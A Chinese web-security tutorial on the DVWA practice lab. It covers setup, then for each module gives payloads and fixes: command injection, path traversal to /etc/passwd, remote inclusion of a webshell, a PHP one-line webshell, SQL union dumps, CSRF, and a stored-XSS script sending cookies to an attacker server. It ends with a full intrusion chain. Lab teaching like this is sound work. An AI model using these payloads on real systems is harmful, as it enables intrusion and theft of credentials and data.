欢迎光临
我们一直在努力

洞靶场实战完整项目教程

DVWA 漏洞靶场实战完整项目教程

DVWA(Damn Vulnerable Web Application)是开源脆弱性Web靶场,用于学习Web安全漏洞原理、渗透测试、漏洞防御。本文从环境搭建 → 全漏洞实战 → 原理+利用+修复一步步讲解,适配Windows/Linux,附带操作步骤、Payload、防御方案。

一、前置准备 & 环境搭建

1. 运行环境选择

两种主流方案,任选其一:

方案1:PHPStudy + 本地部署(Windows 推荐,新手首选)
  • 下载安装 PHPStudy(集成Apache/Nginx+MySQL+PHP)
  • 下载DVWA源码:
    官方地址:https://github.com/digininja/DVWA
    下载ZIP包,解压到 PHPStudy/www 目录,文件夹重命名为 dvwa
  • 配置数据库
    • 打开PHPStudy,启动 Apache + MySQL
    • 浏览器访问 http://localhost/phpmyadmin,新建数据库:dvwa
  • DVWA 核心配置
    进入 dvwa/config 目录,复制 config/config.inc.php.dist 并重命名为 config.inc.php
    打开文件修改数据库账号密码(PHPStudy默认):$_DVWA[ 'db_server' ] = '127.0.0.1';
    $_DVWA[ 'db_database' ] = 'dvwa';
    $_DVWA[ 'db_user' ] = 'root'; // 默认账号
    $_DVWA[ 'db_password' ] = 'root'; // PHPStudy默认密码

  • 初始化DVWA
    浏览器访问:http://localhost/dvwa
    拉到页面底部点击 Setup / Reset Database,完成数据库初始化。
  • 默认账号密码
    • 管理员:admin / password
    • 普通用户:guest / password
  • 方案2:Docker 一键部署(Linux/Windows 通用,最简)

    安装Docker后执行命令,自动拉取镜像并启动:

    docker run -d –name dvwa -p 8080:80 vulnerables/web-dvwa

    访问地址:http://localhost:8080,账号同上。

    2. 核心设置(必做)

    登录后进入 DVWA Security(安全级别),实战依次切换:

    • Low:无防护,入门利用
    • Medium:基础过滤,绕过学习
    • High:严格过滤,高阶绕过
    • Impossible:安全加固,防御参考

    二、DVWA 全模块漏洞实战(12大模块)

    模块1:Brute Force(暴力破解)

    漏洞原理

    登录接口无验证码、登录次数限制,可通过字典批量尝试账号密码。

    1. Low 级别(无防护)
  • 页面:Brute Force,是简易登录框
  • 手工测试Payload:
    已知账号admin,密码试错,或直接抓包暴力破解
  • 工具利用(Burp Suite)
    • 浏览器配置代理,Burp抓登录请求
    • 发送到 Intruder,密码位置添加载荷位
    • 加载密码字典,开始爆破,成功拿到密码 password
  • 2. Medium 级别

    增加简单错误提示判断,无其他防护,暴力破解逻辑不变。

    3. High 级别

    增加 Token 令牌(每次请求随机),传统爆破失效,需编写脚本动态获取Token再爆破。

    4. Impossible(防御方案)
    • 登录失败次数限制(5次锁定)
    • 增加图形验证码
    • 随机Token校验,彻底防御暴力破解

    模块2:Command Injection(命令注入)

    漏洞原理

    后端直接拼接用户输入到系统命令中执行,攻击者输入特殊字符拼接系统命令。
    常用拼接符:

    • ; 分隔多条命令(Windows/Linux通用)
    • & 并行执行命令
    • | 管道执行
    1. Low 级别

    页面功能:输入IP执行ping命令
    Payload 测试(直接输入):

    127.0.0.1; whoami # Linux 查看当前用户
    127.0.0.1; ipconfig # Windows 查看网卡信息

    后端会拼接为:ping 127.0.0.1 ; whoami,两条命令依次执行。

    2. Medium 级别

    过滤了 &&、;,但 |、& 仍可用
    可用Payload:

    127.0.0.1 | ipconfig

    3. High 级别

    严格过滤大部分特殊符号,仅保留合法IP字符,注入难度极大。

    防御方案
  • 禁止直接拼接用户输入到系统命令
  • 白名单校验输入内容(仅允许IP、数字、点)
  • 使用编程语言内置函数替代系统命令

  • 模块3:CSRF(跨站请求伪造)

    漏洞原理

    利用用户已登录身份,诱导用户点击恶意链接,在不知情下执行操作(如修改密码)。
    攻击前提:用户处于登录状态 + 无Token防护。

    1. Low 级别

    功能:修改管理员密码

  • 正常流程:原密码 + 新密码 → 提交修改
  • 构造恶意URL/页面:
    抓包获取修改密码的请求链接,构造恶意HTML页面:<!– 诱导已登录用户打开此页面,自动修改密码 –>
    <img src="http://localhost/dvwa/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change">

  • 将页面发给已登录admin的用户,打开后密码被强制修改。
  • 2. Medium 级别

    校验 Referer 请求头,简单绕过:修改请求头Referer为本站域名即可。

    3. High 级别

    增加 CSRF Token,每次请求携带随机令牌,恶意页面无法伪造,漏洞失效。

    防御方案
    • 关键操作增加 随机Token 校验
    • 校验请求来源Referer
    • 重要操作二次确认(短信/验证码)

    模块4:File Inclusion(文件包含)

    漏洞原理

    PHP include/require 函数引入用户可控文件,分为本地文件包含(LFI)、远程文件包含(RFI)。

    前提:PHP配置 allow_url_include = On 才可远程包含。

    1. Low 级别

    页面通过 page 参数加载文件:?page=include.php

    本地文件包含(读取服务器文件)

    Payload(Windows):

    ?page=../../../../Windows/system32/drivers/etc/hosts

    Payload(Linux):

    ?page=../../../../etc/passwd

    远程文件包含(执行恶意代码)
  • 公网服务器放置一句话木马 shell.txt
  • 访问:
  • ?page=http://xxx.xxx.xxx.xxx/shell.txt

    服务器会远程加载并执行木马。

    2. Medium 级别

    过滤 http://、https://,可使用协议绕过(如 file://)。

    3. High 级别

    限定文件后缀,仅允许 file 目录下文件,彻底防御。

    防御方案
  • 关闭 allow_url_include(PHP配置)
  • 白名单限制可包含的文件
  • 过滤路径跳转符 ../

  • 模块5:File Upload(文件上传)【高频漏洞】

    漏洞原理

    前端/后端未严格校验文件类型、后缀、文件内容,上传恶意脚本(PHP木马),执行代码。

    1. Low 级别(无任何校验)
  • 编写PHP一句话木马 shell.php<?php @eval($_POST['cmd']); ?>
  • 直接上传文件,上传成功后获取文件路径
  • 使用菜刀/蚁剑连接路径,拿到服务器权限。
  • 2. Medium 级别

    后端校验 Content-Type(MIME类型),绕过方式:

    • Burp抓包,修改请求头中文件类型为合法图片类型(image/jpeg),再放行上传。
    3. High 级别

    校验文件后缀+文件头(图片头),绕过:
    制作图片马:图片 + PHP木马混合,后缀改为.jpg,配合文件包含漏洞解析执行。

    防御方案
  • 后端白名单校验后缀(仅允许jpg/png等图片)
  • 校验文件头、文件内容,防止图片马
  • 上传目录禁止脚本执行权限
  • 随机重命名上传文件,泄露路径

  • 模块6:Insecure CAPTCHA(不安全验证码)

    漏洞原理

    验证码逻辑缺陷:验证码可复用、前端JS控制、验证码可绕过。

    Low/Medium:

    验证码仅前端判断,抓包删除验证码参数即可直接提交,绕过验证。

    High:

    验证码服务存在逻辑漏洞,可暴力刷新获取有效验证码。

    防御:
    • 验证码单次有效,使用后立即失效
    • 后端校验验证码,禁止前端JS判断
    • 验证码复杂度提升(干扰线、大小写混合)

    模块7:SQL Injection(SQL注入)【核心漏洞】

    漏洞原理

    用户输入直接拼接进SQL语句,未做过滤,篡改SQL逻辑,查询/窃取数据库数据。

    1. Low 级别(字符型注入)

    页面功能:输入用户ID查询信息
    正常输入:1

    基础Payload(判断注入)

    1' — 报错,证明存在注入

    脱库常用Payload
  • 查询所有数据库名
  • 1' union select 1,database() —

  • 查询当前库所有表
  • 1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() —

  • 查询表内字段、数据(盗取账号密码)
  • 2. Medium 级别

    使用下拉框+过滤单引号,改为数字型注入,无需单引号,Payload微调即可利用。

    3. High 级别

    增加 LIMIT 1 限制、多语句过滤,需分页/堆叠注入绕过。

    防御方案
  • 预编译语句(PDO/Prepared Statement) 最优防御
  • 输入过滤、转义特殊字符
  • 数据库最小权限原则

  • 模块8:SQL Injection (Blind)(SQL盲注)

    漏洞原理

    页面无报错回显,只返回“存在/不存在”两种状态,使用布尔盲注、时间盲注逐字符猜解数据。

    • 布尔盲注:根据页面真假判断
    • 时间盲注:sleep(5) 延时判断

    示例Payload(布尔盲注):

    1' and length(database())>1 —

    配合二分法+脚本自动化猜解库名、表名、数据。


    模块9:XSS(跨站脚本攻击)分三类

    XSS 分为:反射型、存储型、DOM型,DVWA 对应三个XSS模块。

    漏洞原理

    未过滤用户输入的JS代码,代码被浏览器执行,可窃取Cookie、钓鱼、劫持页面。

    1. XSS (Reflected) 反射型XSS(一次性)

    Low级别直接输入基础弹窗Payload:

    <script>alert('xss')</script>

    URL携带代码,打开链接即触发,单次生效。

    2. XSS (Stored) 存储型XSS(持久化,危害最大)

    留言板功能,输入JS代码提交,代码存入数据库。所有访问页面的用户都会触发XSS。
    窃取Cookie Payload:

    <script>document.location='http://你的服务器/steal.php?c='+document.cookie</script>

    3. XSS (DOM) DOM型XSS

    代码在前端DOM解析,不经过后端,后端无过滤,前端JS拼接数据导致漏洞。
    绕过前端JS过滤即可触发。

    XSS 防御
  • 输入输出HTML实体转义(<转&lt;)
  • 设置 HttpOnly 保护Cookie(禁止JS读取Cookie)
  • CSP内容安全策略

  • 模块10:Weak Session IDs(弱会话ID)

    漏洞原理

    Session ID 生成规则简单(自增、固定规律),攻击者预测/遍历Session,劫持用户会话。

    • Low:SessionID纯数字自增,可直接遍历
    • High:随机复杂SessionID,无法预测
    防御

    使用加密随机算法生成Session,定期更换Session。


    三、综合实战项目:DVWA 渗透完整流程(实战演练)

    项目目标

    从外网进入 → 文件上传拿木马 → 命令注入提权 → 脱库获取全站账号密码

    操作步骤

  • 信息收集
    访问DVWA,识别服务:Apache + PHP + MySQL,探测所有漏洞模块。
  • 漏洞选择
    优先利用 File Upload 文件上传(最简单直接)。
  • 上传木马
    Low级别直接上传PHP一句话,获取木马地址。
  • 连接木马
    使用蚁剑/菜刀连接,拿到网站目录权限。
  • 权限提升
    结合 Command Injection 命令注入,执行系统命令,获取服务器账户。
  • 数据窃取
    利用SQL注入,查询users表,导出所有管理员账号、哈希密码。
  • 漏洞修复复盘
    针对每一个利用的漏洞,编写对应的修复代码与配置。

  • 四、学习拓展 & 工具推荐

    必备渗透工具

  • Burp Suite:抓包、爆破、漏洞测试(核心工具)
  • 蚁剑/菜刀:一句话木马连接、网站管理
  • 字典工具:暴力破解字典(账号、密码、目录)
  • 浏览器插件:FoxyProxy(代理切换)、Wappalyzer(指纹识别)
  • 进阶学习路线

  • 吃透DVWA所有漏洞原理 + 绕过思路
  • 学习代码审计:查看DVWA源码,理解漏洞产生原因
  • 进阶靶场:WebGoat、Pikachu、Webug、OWASP Juice Shop
  • 学习WAF绕过、多层防护下的漏洞利用

  • 五、常见问题排错

  • DVWA 数据库连接失败
    检查 config.inc.php 数据库账号密码、MySQL服务是否启动。
  • 文件上传后无法解析PHP
    检查Apache/Nginx 解析配置,关闭禁止脚本执行权限。
  • 命令注入无回显
    区分Windows/Linux系统,使用对应系统命令。
  • 远程文件包含失效
    编辑php.ini,开启 allow_url_include = On,重启服务。
  • 如果你需要,我可以单独输出:某一个漏洞的源码分析、手写绕过脚本、防御代码案例。

    赞(0)
    未经允许不得转载:171主机测评 » 洞靶场实战完整项目教程
    分享到: 更多 (0)

    评论 抢沙发

    • 昵称 (必填)
    • 邮箱 (必填)
    • 网址